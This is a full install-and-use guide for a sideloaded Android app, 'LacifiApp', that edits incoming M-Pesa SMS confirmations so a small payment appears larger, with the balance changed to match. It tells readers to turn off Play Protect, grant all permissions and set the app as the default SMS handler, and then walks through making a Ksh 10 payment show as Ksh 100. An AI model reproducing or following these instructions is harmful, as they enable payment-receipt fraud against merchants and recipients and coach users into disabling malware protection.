Download and install the app on your Android device
Tap the download button above. The file will save to your Downloads folder.
Go to your Downloads folder and tap on LacifiApp.apk to begin installation.
If prompted, tap "Settings" and enable "Allow from this source", then go back and tap Install.
Open the app, connect to the internet, and enter the activation key provided to you.
Your phone might show a warning like "Blocked by Play Protect" or "Harmful app detected." This is normal for apps not on the Play Store. To proceed:
Tap "More details" → then tap "Install anyway"
If that doesn't work, temporarily disable Play Protect:
Open Google Play Store → tap your profile icon → Play Protect → Settings (gear icon) → turn off "Scan apps with Play Protect". You can turn it back on after installing.
For the app to work correctly, you need to grant all requested permissions including restricted ones. When you see permission prompts, tap "Allow" on each one.
If the app isn't working properly, go to Settings → Apps → LaciFi → Permissions and make sure all permissions are set to "Allow".
The app requires an internet connection for activation. Make sure Wi-Fi or mobile data is on.
You will receive an 8-character activation key. Enter it in the app to unlock all features. Keys expire in 10 minutes, so enter it promptly.
For the app to work, you must set it as your default SMS app when prompted. You can switch back to your regular SMS app after use.
Open the app and tap the "Set as Default" button. This is required before anything else works.
Enter the amount you want the M-Pesa message to show. For example, if you want the message to read Ksh 100, type 100.
Open the Listener tab and start it. The app will now wait for any incoming M-Pesa message.
Go to M-Pesa or STK Toolkit and make a small payment (e.g. Ksh 10). This triggers the incoming M-Pesa SMS that the app will modify.
Open your normal messaging app (e.g. Google Messages) and tap "Set as default" when prompted. No need to go to settings.
You should now see the updated M-Pesa message showing Ksh 100 instead of Ksh 10. The balance will also be updated to match.
Sometimes the message doesn't show immediately. If that happens:
1. Go back to LacifiApp and tap "Set as Default" again
2. Then go to your normal messaging app and set it back as default
3. Repeat this switch until the edited M-Pesa message appears with the correct amount and balance